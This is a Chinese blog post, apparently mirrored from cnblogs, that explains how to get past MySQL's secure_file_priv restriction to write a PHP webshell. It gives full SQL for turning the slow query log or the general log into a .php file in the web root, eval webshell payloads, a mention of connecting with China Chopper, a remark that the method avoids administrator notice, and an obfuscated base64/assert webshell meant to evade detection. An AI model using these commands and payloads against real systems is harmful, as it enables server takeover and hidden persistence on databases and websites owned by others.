zoukankan      html  css  js  c++  java
  • mysql之突破secure_file_priv写webshell

    在某些情况下,当我们进入了一个网站的phpMyAdmin时,想通过select into outfile来写shell,但是通常都会报错。

     这是因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

     

    日志利用:

    方法一:
    慢查询日志  (slow query log)
    mysql也具有日志,我们也可以通过日志来getshell。

    mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志,日志的详细情况参考mysql日志详细解析

    我们主要利用慢查询日志来写shell,步骤大致分为三步:

    1.设置slow_query_log=1.即启用慢查询日志(默认禁用)。

    set global slow_query_log=1;

     2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

    set global slow_query_log_file='D:/phpStudy/PHPTutorial/WWW/hacker.php'

     3.向日志文件写入shell

    select '<?php eval($_POST[x]);?>' or sleep(11);

     4.用菜刀连接拿到shell

     Ps:
    对慢查询日志的补充:
    因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

    时间默认超过多少的称为慢查询日志?

    一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

    show global variables like '%long_query_time%'

    通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。

    方法二:

    一般查询日志  (general log)
    outfile被禁止,或者写入文件被拦截
    在数据库中操作如下:(必须是root权限)
    1.show variables like ‘%general%'; #查看配置
    2.set global general_log = on; #开启general log模式
    3.set global general_log_file = ‘/var/www/html/1.php'; #设置日志目录为shell地址
    4.select ‘<?php eval($_POST[cmd]);?>’ #写入shell
    不成功的案例,如果mysql 被降权,是无法写入到其他的站点目录的,除非你的目标目录是可以写入的。
    SQL查询免杀shell的语句
    SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”




  • 相关阅读:
    系统提供的列表框的选择菜单
    symbian 下 xml 的操作总结
    在3版中实现并动态配置开机自启动
    Symbian (Read Inbox)读取收件箱的内容
    S60平台:使用外部应用程序View
    手机通讯录助手s60 第三版与 s60第五版可用 诺基亚手机
    关于静默安装需要注意的一些问题(转)
    关于自定义控件捕获 EButton1Up 事件
    javascript简单区分现代浏览器和ie6,7,8
    301、404、200、304等HTTP状态
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12992186.html
Copyright © 2011-2022 走看看